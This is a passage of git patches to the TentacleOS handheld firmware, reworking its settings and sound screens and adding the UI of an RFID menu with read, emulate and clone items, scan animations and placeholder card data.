lv_obj_add_flag(s_c5_bar, LV_OBJ_FLAG_HIDDEN); + } else if (s_c5_status_label && msg) { + lv_label_set_text(s_c5_status_label, msg); + } +} + +static void hide_c5_progress(void) { + if (s_c5_prog_timer) { + lv_timer_delete(s_c5_prog_timer); + s_c5_prog_timer = NULL; + } + if (s_c5_overlay) { + lv_obj_del(s_c5_overlay); + s_c5_overlay = NULL; + s_c5_status_label = NULL; + s_c5_bar = NULL; + } +} + +static void c5_flash_done_on_lvgl(void *data) { + esp_err_t r = (esp_err_t)(intptr_t)data; + if (r == ESP_OK) { + show_c5_progress("DONE — C5 rebooted\ninto new firmware."); + if (s_c5_bar) + lv_bar_set_value(s_c5_bar, 100, LV_ANIM_OFF); + } else { + show_c5_progress("FAILED. Check serial\nlog for details."); + } + + if (s_c5_prog_timer) { + lv_timer_delete(s_c5_prog_timer); + s_c5_prog_timer = NULL; + } + s_c5_in_progress = false; + + static lv_timer_t *dismiss_t = NULL; + if (dismiss_t == NULL) { + dismiss_t = lv_timer_create((lv_timer_cb_t)hide_c5_progress, C5_DISMISS_DELAY_MS, NULL); + lv_timer_set_repeat_count(dismiss_t, 1); + } +} + +static void c5_flash_task(void *arg) { + (void)arg; + esp_err_t init_r = c5_flasher_init(); + esp_err_t r = (init_r != ESP_OK) ? init_r : c5_flasher_update(NULL, 0); + ESP_LOGI(TAG, "c5_flasher result: %s", esp_err_to_name(r)); + + lv_async_call(c5_flash_done_on_lvgl, (void *)(intptr_t)r); + vTaskDelete(NULL); +} + +static void c5_progress_tick(lv_timer_t *t) { + (void)t; + if (s_c5_bar == NULL) + return; + uint32_t sent = 0, total = 0; + c5_flasher_progress(&sent, &total); + int pct = total ? (int)((uint64_t)sent * 100 / total) : 0; + lv_bar_set_value(s_c5_bar, pct, LV_ANIM_OFF); +} + +static void start_c5_flash(void) { + if (s_c5_in_progress) + return; + s_c5_in_progress = true; + show_c5_progress("Updating C5 (OTA)...\nDo not power off."); + + if (s_c5_bar) + lv_obj_remove_flag(s_c5_bar, LV_OBJ_FLAG_HIDDEN); + if (s_c5_prog_timer == NULL) + s_c5_prog_timer = lv_timer_create(c5_progress_tick, C5_PROGRESS_TICK_MS, NULL); + + xTaskCreate(c5_flash_task, "c5_flash", C5_FLASH_TASK_STACK, NULL, C5_FLASH_TASK_PRIO, NULL); +} + +static void c5_rom_flash_task(void *arg) { + (void)arg; + esp_err_t r = c5_flasher_rom_flash(); + ESP_LOGI(TAG, "c5_rom_flash result: %s", esp_err_to_name(r)); + lv_async_call(c5_flash_done_on_lvgl, (void *)(intptr_t)r); + vTaskDelete(NULL); +} + +static void start_c5_rom_flash(void) { + if (s_c5_in_progress) + return; + s_c5_in_progress = true; + show_c5_progress( + "ROM flash (blank C5).\nC5 must be in download\nmode. ~2-3 min. Don't\npower off."); + xTaskCreate(c5_rom_flash_task, + "c5_rom_flash", + C5_ROM_FLASH_TASK_STACK, + NULL, + C5_ROM_FLASH_TASK_PRIO, + NULL); +} + +static void c5_passthrough_task(void *arg) { + (void)arg; + c5_passthrough_run(); + vTaskDelete(NULL); +} + +static void start_c5_passthrough(void) { + show_c5_progress("Passthrough ACTIVE.\n\n" + "Strap C5 GPIO28 -> GND\n" + "Power-cycle. Then on PC:\n" + "esptool --chip esp32c5 -p\n" + "/dev/cu.usbmodem flash\n\n" + "BACK = reboot P4."); + xTaskCreate(c5_passthrough_task, + "c5_passthru", + C5_PASSTHROUGH_TASK_STACK, + NULL, + C5_PASSTHROUGH_TASK_PRIO, + NULL); +} + +static bool run_action(int target) { + switch (target) { + case ACTION_TOGGLE_ROTATION: + + show_rotation_confirm(); + return true; + case ACTION_FLASH_C5: + + start_c5_flash(); + return true; + case ACTION_FLASH_C5_ROM: + + start_c5_rom_flash(); + return true; + case ACTION_RELEASE_C5_UART: + + c5_flasher_release_uart(); + show_c5_progress( + "C5 UART released.\nGPIO38/39 hi-Z.\nUse external serial.\nReboot P4 to restore."); + return true; + case ACTION_C5_PASSTHROUGH: + + start_c5_passthrough(); + return true; + case ACTION_REBOOT_P4: + + ESP_LOGW(TAG, "User-requested P4 reboot from Settings."); + vTaskDelay(pdMS_TO_TICKS(REBOOT_DELAY_MS)); + esp_restart(); + return true; + default: + return false; + } +} static void nav_timer_cb(lv_timer_t *t) { if (lv_screen_active() != s_screen) { @@ -65,13 +418,29 @@ static void nav_timer_cb(lv_timer_t *t) { if (ui_input_is_locked()) return; - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); bool ok = ok_button_is_down(); bool back = back_button_is_down(); + if (s_confirm_overlay != NULL) { + if (ok && !s_btn_ok_last) { + hide_rotation_confirm(); + ui_manager_relayout_current(); + } else if (back && !s_btn_back_last) { + hide_rotation_confirm(); + } + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; + return; + } + if (down && !s_btn_down_last) menu_component_next(&s_menu); @@ -79,14 +448,43 @@ static void nav_timer_cb(lv_timer_t *t) { menu_component_prev(&s_menu); if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) { - ui_switch_screen(SCREEN_MENU); + if (s_view != VIEW_MAIN) { + build_settings_view(VIEW_MAIN); + } else { + ui_switch_screen(SCREEN_MENU); + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; return; } if ((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) { + int count = 0; + const settings_item_t *items = view_table(s_view, &count, NULL, NULL); int sel = menu_component_get_selected(&s_menu); - if (sel >= 0 && (size_t)sel < ITEM_COUNT) - ui_switch_screen(ITEMS[sel].target); + if (sel >= 0 && sel < count) { + int target = items[sel].target; + if (target == GOTO_LAB) { + build_settings_view(VIEW_LAB); + } else if (target == GOTO_DEV) { + build_settings_view(VIEW_DEV); + } else if (!run_action(target)) { + ui_switch_screen(target); + } + + s_btn_up_last = up; + s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; + s_btn_ok_last = ok; + s_btn_back_last = back; + return; + } } s_btn_up_last = up; @@ -97,25 +495,46 @@ static void nav_timer_cb(lv_timer_t *t) { s_btn_back_last = back; } -void ui_settings_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } +static void build_settings_view(settings_view_t view) { + lv_obj_t *prev = s_screen; + s_view = view; s_screen = lv_obj_create(NULL); lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - s_menu = menu_component_create(s_screen, "SETTINGS", NULL); + int count = 0; + const char *title = NULL; + const char *icon = NULL; + const settings_item_t *items = view_table(view, &count, &title, &icon); - for (size_t i = 0; i < ITEM_COUNT; i++) { - menu_component_add_item(&s_menu, ITEMS[i].icon, ITEMS[i].name); + s_menu = menu_component_create(s_screen, title, icon); + for (int i = 0; i < count; i++) { + if (view == VIEW_MAIN) { + for (int s = 0; s < MAIN_SECTION_COUNT; s++) + if (MAIN_SECTIONS[s].before == i) + menu_component_add_section(&s_menu, MAIN_SECTIONS[s].title); + } + menu_component_add_item(&s_menu, items[i].icon, items[i].name); } + if (s_menu.items_cont != NULL) + lv_obj_fade_in(s_menu.items_cont, ENTRY_FADE_MS, 0); + if (s_nav_timer == NULL) s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - lv_screen_load(s_screen); -} \ No newline at end of file + ui_screen_load(s_screen); + if (prev != NULL) + lv_obj_del(prev); +} + +void ui_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_confirm_overlay = NULL; + build_settings_view(VIEW_MAIN); +} diff --git a/firmware_p4/components/Applications/ui/screens/settings/sound_settings_ui.c b/firmware_p4/components/Applications/ui/screens/settings/sound_settings_ui.c new file mode 100644 index 000000000..2bea4116b --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/settings/sound_settings_ui.c @@ -0,0 +1,155 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "sound_settings_ui.h" + +#include "esp_log.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "SOUND_SETTINGS_UI"; + +#define NAV_TIMER_MS 50 +#define ENTRY_FADE_MS 200 + +#define ROW_VOLUME 0 +#define ROW_ALERT 1 +#define ROW_KEYBEEP 2 +#define ROW_STARTUP 3 + +static const char *const ALERT_OPTS[] = {"Beep", "Chirp", "Blip", "Off"}; +#define ALERT_COUNT ((int)(sizeof(ALERT_OPTS) / sizeof(ALERT_OPTS[0]))) + +static int s_alert_idx = 0; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_left_last = false; +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; +static bool s_changed = false; + +static void cycle_selector(int sel, int dir) { + if (sel == ROW_ALERT) { + s_alert_idx = (s_alert_idx + dir + ALERT_COUNT) % ALERT_COUNT; + menu_component_set_selector_value(&s_menu, sel, ALERT_OPTS[s_alert_idx]); + s_changed = true; + } +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); + bool ok = ok_button_is_down(); + bool back = back_button_is_down(); + + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + + if (ok && !s_ok_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && s_menu.has_toggle[sel]) { + menu_component_toggle_item(&s_menu, sel); + s_changed = true; + ESP_LOGI(TAG, "mock toggle row %d -> %d", sel, menu_component_get_toggle(&s_menu, sel)); + } + } + + if (left && !s_left_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) { + menu_component_intensity_dec(&s_menu, sel); + s_changed = true; + } else if (s_menu.val_labels[sel] != NULL) { + cycle_selector(sel, -1); + } + } + } + if (right && !s_right_last) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0) { + if (s_menu.has_intensity[sel]) { + menu_component_intensity_inc(&s_menu, sel); + s_changed = true; + } else if (s_menu.val_labels[sel] != NULL) { + cycle_selector(sel, +1); + } + } + } + + if (back && !s_back_last) { + if (s_changed) + notify(NOTIFY_SAVED, "Sound settings saved"); + ui_switch_screen(SCREEN_SETTINGS); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_sound_settings_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + + s_alert_idx = 0; + s_changed = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "SOUND", "/assets/icons/volume_icon.bin"); + menu_component_add_intensity(&s_menu, "/assets/icons/volume_icon.bin", "Volume", 4); + menu_component_add_selector(&s_menu, NULL, "Alert tone", ALERT_OPTS[s_alert_idx]); + menu_component_add_toggle(&s_menu, NULL, "Key beeps", true); + menu_component_add_toggle(&s_menu, NULL, "Startup sound", false); + + if (s_menu.items_cont != NULL) + lv_obj_fade_in(s_menu.items_cont, ENTRY_FADE_MS, 0); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/sound_settings/sound_settings_ui.c b/firmware_p4/components/Applications/ui/screens/sound_settings/sound_settings_ui.c deleted file mode 100644 index ecf61cdd6..000000000 --- a/firmware_p4/components/Applications/ui/screens/sound_settings/sound_settings_ui.c +++ /dev/null @@ -1,117 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "sound_settings_ui.h" - -#include "ui_theme.h" -#include "menu_component_ui.h" -#include "ui_manager.h" -#include "buttons_gpio.h" - -#define NAV_TIMER_PERIOD_MS 50 -#define VOLUME_DEFAULT 3 - -typedef enum { - SOUND_ITEM_VOLUME = 0, - SOUND_ITEM_BUZZER = 1, -} sound_item_t; - -static lv_obj_t *s_screen = NULL; -static menu_component_t s_menu; -static lv_timer_t *s_nav_timer = NULL; - -static bool s_btn_up_last = false; -static bool s_btn_down_last = false; -static bool s_btn_left_last = false; -static bool s_btn_right_last = false; -static bool s_btn_back_last = false; - -static int s_volume_val = VOLUME_DEFAULT; - -static void nav_timer_cb(lv_timer_t *t); - -static void nav_timer_cb(lv_timer_t *t) { - if (lv_screen_active() != s_screen) { - lv_timer_delete(t); - s_nav_timer = NULL; - return; - } - if (ui_input_is_locked()) - return; - - bool up = up_button_is_down(); - bool down = down_button_is_down(); - bool left = left_button_is_down(); - bool right = right_button_is_down(); - bool back = back_button_is_down(); - - if (down && !s_btn_down_last) - menu_component_next(&s_menu); - - if (up && !s_btn_up_last) - menu_component_prev(&s_menu); - - if (back && !s_btn_back_last) { - ui_switch_screen(SCREEN_SETTINGS); - return; - } - - int sel = menu_component_get_selected(&s_menu); - - if (left && !s_btn_left_last) { - if (sel == SOUND_ITEM_VOLUME) { - menu_component_intensity_dec(&s_menu, SOUND_ITEM_VOLUME); - s_volume_val = menu_component_get_intensity(&s_menu, SOUND_ITEM_VOLUME); - } else if (sel == SOUND_ITEM_BUZZER) { - menu_component_toggle_item(&s_menu, SOUND_ITEM_BUZZER); - } - } - - if (right && !s_btn_right_last) { - if (sel == SOUND_ITEM_VOLUME) { - menu_component_intensity_inc(&s_menu, SOUND_ITEM_VOLUME); - s_volume_val = menu_component_get_intensity(&s_menu, SOUND_ITEM_VOLUME); - } else if (sel == SOUND_ITEM_BUZZER) { - menu_component_toggle_item(&s_menu, SOUND_ITEM_BUZZER); - } - } - - s_btn_up_last = up; - s_btn_down_last = down; - s_btn_left_last = left; - s_btn_right_last = right; - s_btn_back_last = back; -} - -void ui_sound_settings_open(void) { - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - s_menu = menu_component_create(s_screen, "SOUND", NULL); - menu_component_add_intensity(&s_menu, NULL, "VOLUME", s_volume_val); - menu_component_add_toggle(&s_menu, NULL, "BUZZER", false); - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - - lv_screen_load(s_screen); -} \ No newline at end of file From 8c03dc3b0c5d4db8b03938c4f5e210ee91ea3f6f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:07:22 -0300 Subject: [PATCH 114/572] feat(ui): add RFID menu screen --- .../ui/screens/rfid/include/rfid_menu_ui.h | 30 + .../ui/screens/rfid/rfid_menu_ui.c | 897 ++++++++++++++++++ 2 files changed, 927 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/rfid/include/rfid_menu_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/rfid/rfid_menu_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/rfid/include/rfid_menu_ui.h b/firmware_p4/components/Applications/ui/screens/rfid/include/rfid_menu_ui.h new file mode 100644 index 000000000..0fadd15d1 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/rfid/include/rfid_menu_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef RFID_MENU_UI_H +#define RFID_MENU_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the RFID menu screen. */ +void ui_rfid_menu_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // RFID_MENU_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/rfid/rfid_menu_ui.c b/firmware_p4/components/Applications/ui/screens/rfid/rfid_menu_ui.c new file mode 100644 index 000000000..696a60657 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/rfid/rfid_menu_ui.c @@ -0,0 +1,897 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "rfid_menu_ui.h" + +#include + +#include "esp_log.h" +#include "lvgl.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "capture_result_ui.h" +#include "menu_component_ui.h" +#include "notify_ui.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +static const char *TAG = "RFID_UI"; + +#define NAV_TIMER_MS 50 +#define REVEAL_MS 3000 + +#define SIG_GREEN 0x00E676 + +#define HEADER_TITLE_Y 10 +#define HEADER_RULE_Y 32 +#define HEADER_RULE_W 70 +#define HEADER_RULE_H 2 +#define HEADER_RULE_RADIUS 1 + +#define LIST_TITLE_ICON "/assets/icons/card_icon.bin" +#define CARD_ICON "/assets/icons/card_icon.bin" +#define RADAR_ICON "/assets/icons/radar_icon.bin" +#define FILE_ICON "/assets/icons/file_icon.bin" +#define EMULATE_ICON "/assets/icons/emulate_icon.bin" +#define WRITE_ICON "/assets/icons/write_icon.bin" +#define SAVED_ICON "/assets/icons/saved_icon.bin" +#define COPY_ICON "/assets/icons/copy_icon.bin" + +#define FADE_IN_MS 200 + +#define SCAN_MS 2600 +#define DOT_CYCLE_MS 350 + +#define STATUS_Y 50 +#define FREQ_Y 68 +#define FREQ_TEXT "125 kHz LF" + +#define WAVES_Y 10 + +#define PAD_W 154 +#define PAD_H 86 +#define PAD_RADIUS 12 +#define PAD_BORDER 2 +#define PAD_Y_OFS -12 +#define PAD_DIM_OPA LV_OPA_50 + +#define SIL_W 96 +#define SIL_H 58 +#define SIL_RADIUS 8 +#define SIL_OPA LV_OPA_20 + +#define BEAM_W (PAD_W - PAD_BORDER * 2) +#define BEAM_H 3 +#define BEAM_MARGIN 8 +#define BEAM_TRAVEL (PAD_H - PAD_BORDER * 2 - BEAM_MARGIN * 2 - BEAM_H) +#define BEAM_MS 820 +#define BEAM_GLOW_W 10 + +#define HEX_BYTES 6 +#define HEX_BUF_LEN 24 +#define HEX_Y_OFS 46 +#define HEX_UPDATE_MS 80 + +#define PROG_W 154 +#define PROG_H 4 +#define PROG_Y_OFS 66 + +#define CARD_W 210 +#define CARD_H 120 +#define CARD_RADIUS 14 +#define CARD_PAD 12 +#define CARD_BORDER 1 +#define CARD_SHADOW_W 12 +#define CARD_Y_OFS 18 +#define CARD_RISE_PX 26 +#define CARD_RISE_MS 300 + +#define FIELD_FADE_MS 220 +#define FIELD_STAGGER_MS 70 + +#define BADGE_W 30 +#define BADGE_H 24 +#define BADGE_RADIUS 6 +#define BADGE_ICON_PX 16 + +#define CARD_TITLE_X 38 +#define CARD_TITLE_Y 1 +#define CARD_SUB_X 38 +#define CARD_SUB_Y 21 +#define CARD_LINE_Y 52 +#define CARD_META_Y 74 + +#define COIL_COUNT 3 +#define COIL_W 42 +#define COIL_H 2 +#define COIL_RADIUS 1 +#define COIL_GAP 5 +#define COIL_OPA LV_OPA_40 +#define COIL_X_OFS -6 +#define COIL_Y_OFS -6 + +#define TX_DOT_SIZE 12 +#define TX_DOT_RADIUS 6 +#define TX_DOT_GAP 4 +#define TX_DOT_COUNT 3 +#define TX_DOT_BLINK_MS 400 +#define TX_DOT_Y_OFS 54 + +#define EMU_TX_LABEL_Y 78 +#define EMU_TX_BLINK_MS 600 +#define STATUS_BLINK_LO LV_OPA_40 + +#define HINT_Y_OFS -6 + +#define READ_STATUS_BUSY "Reading" +#define EMU_TX_BUSY "Transmitting" + +#define HINT_SCAN "BACK Cancel" +#define HINT_SHOW "BACK Exit" +#define HINT_MENU "UP/DOWN choose OK do BACK exit" + +#define CARD_TITLE "EM4100" +#define CARD_SUBTITLE "Low-Frequency 125 kHz" +#define CARD_LINE "UID 1A 2B 3C 4D 55" +#define CARD_META "64-bit · Read-only" + +static const struct { + const char *name; + const char *icon; +} RFID_ITEMS[] = { + {"Read", RADAR_ICON}, + {"Saved", SAVED_ICON}, + {"Emulate", EMULATE_ICON}, + {"Clone", COPY_ICON}, + {"Add Manually", WRITE_ICON}, +}; +#define RFID_ITEM_COUNT ((int)(sizeof(RFID_ITEMS) / sizeof(RFID_ITEMS[0]))) + +#define IDX_READ 0 +#define IDX_SAVED 1 +#define IDX_EMULATE 2 + +static const struct { + const char *name; + const char *proto; + const char *uid; + const char *bits; +} SAVED_CARDS[] = { + {"Office_Badge", "EM4100", "1A 2B 3C 4D 55", "64-bit · Read-only"}, + {"Garage_Fob", "HIDProx", "20 06 EC 0C 86", "44-bit · Read-only"}, + {"Gym_Tag", "Indala", "A0 00 1C FE 49", "64-bit · Read-only"}, + {"Locker_03", "EM4100", "09 FB 2D 77 11", "64-bit · Read-only"}, +}; +#define SAVED_CARD_COUNT ((int)(sizeof(SAVED_CARDS) / sizeof(SAVED_CARDS[0]))) + +typedef enum { + VIEW_LIST = 0, + VIEW_READ, + VIEW_OPTIONS, + VIEW_SAVED, + VIEW_SAVED_INFO, + VIEW_EMULATE, + VIEW_COUNT +} rfid_view_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static rfid_view_t s_view = VIEW_LIST; +static int s_saved_sel = 0; + +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_scan_timer = NULL; + +static lv_obj_t *s_status_lbl = NULL; +static lv_obj_t *s_scan_group = NULL; +static lv_obj_t *s_hex_lbl = NULL; +static lv_obj_t *s_waves = NULL; +static lv_obj_t *s_hint = NULL; +static uint32_t s_scan_start = 0; +static uint32_t s_hex_last = 0; +static bool s_card_revealed = false; +static bool s_saved = false; +static capture_result_t s_cr = {0}; +static uint32_t s_revealed_at = 0; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_right_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); +static void build_screen(void); + +static void stop_scan_timers(void) { + if (s_scan_timer != NULL) { + lv_timer_delete(s_scan_timer); + s_scan_timer = NULL; + } +} + +static void opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void translate_y_cb(void *var, int32_t v) { + lv_obj_set_style_translate_y((lv_obj_t *)var, v, 0); +} + +static void bar_value_cb(void *var, int32_t v) { + lv_bar_set_value((lv_obj_t *)var, v, LV_ANIM_OFF); +} + +static void fade_in(lv_obj_t *obj, uint32_t duration_ms, uint32_t delay_ms) { + lv_obj_set_style_opa(obj, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, opa_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, duration_ms); + lv_anim_set_delay(&a, delay_ms); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void blink_loop(lv_obj_t *obj, lv_opa_t low, uint32_t half_ms) { + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, opa_cb); + lv_anim_set_values(&a, low, LV_OPA_COVER); + lv_anim_set_duration(&a, half_ms); + lv_anim_set_playback_duration(&a, half_ms); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); +} + +static void build_header(const char *text) { + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, text); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, HEADER_TITLE_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(rule, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(rule, lv_pct(HEADER_RULE_W), HEADER_RULE_H); + lv_obj_align(rule, LV_ALIGN_TOP_MID, 0, HEADER_RULE_Y); + lv_obj_set_style_border_width(rule, 0, 0); + lv_obj_set_style_radius(rule, HEADER_RULE_RADIUS, 0); + lv_obj_set_style_bg_color(rule, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(rule, LV_OPA_40, 0); +} + +static lv_obj_t *make_hint(const char *text) { + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, text); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_set_style_text_font(hint, &lv_font_montserrat_12, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, HINT_Y_OFS); + return hint; +} + +static void scramble_hex(char *out, size_t n, uint32_t seed) { + static const char H[] = "0123456789ABCDEF"; + size_t p = 0; + for (int i = 0; i < HEX_BYTES && p + 3 < n; i++) { + seed = seed * 1103515245u + 12345u; + uint8_t b = (uint8_t)((seed >> 16) & 0xFF); + out[p++] = H[(b >> 4) & 0xF]; + out[p++] = H[b & 0xF]; + if (i < HEX_BYTES - 1) + out[p++] = ' '; + } + out[p] = '\0'; +} + +static lv_obj_t *build_data_card(lv_obj_t *parent, + const char *title_txt, + const char *sub_txt, + const char *line_txt, + const char *meta_txt, + bool assemble) { + lv_color_t accent = current_theme.border_accent; + uint32_t delay = assemble ? FIELD_STAGGER_MS : 0; + + lv_obj_t *card = lv_obj_create(parent); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(card, CARD_W, CARD_H); + lv_obj_set_style_radius(card, CARD_RADIUS, 0); + lv_obj_set_style_pad_all(card, CARD_PAD, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(card, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(card, CARD_BORDER, 0); + lv_obj_set_style_border_color(card, accent, 0); + lv_obj_set_style_shadow_color(card, accent, 0); + lv_obj_set_style_shadow_width(card, CARD_SHADOW_W, 0); + lv_obj_set_style_shadow_opa(card, LV_OPA_30, 0); + + lv_obj_t *badge = lv_obj_create(card); + lv_obj_remove_flag(badge, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(badge, BADGE_W, BADGE_H); + lv_obj_align(badge, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_set_style_radius(badge, BADGE_RADIUS, 0); + lv_obj_set_style_pad_all(badge, 0, 0); + lv_obj_set_style_bg_color(badge, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(badge, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(badge, 1, 0); + lv_obj_set_style_border_color(badge, accent, 0); + + lv_image_dsc_t *icon = assets_get(CARD_ICON); + if (icon != NULL) { + lv_obj_t *img = lv_image_create(badge); + lv_image_set_src(img, icon); + int32_t longest = icon->header.w > icon->header.h ? icon->header.w : icon->header.h; + if (longest > 0) + lv_image_set_scale(img, BADGE_ICON_PX * 256 / longest); + 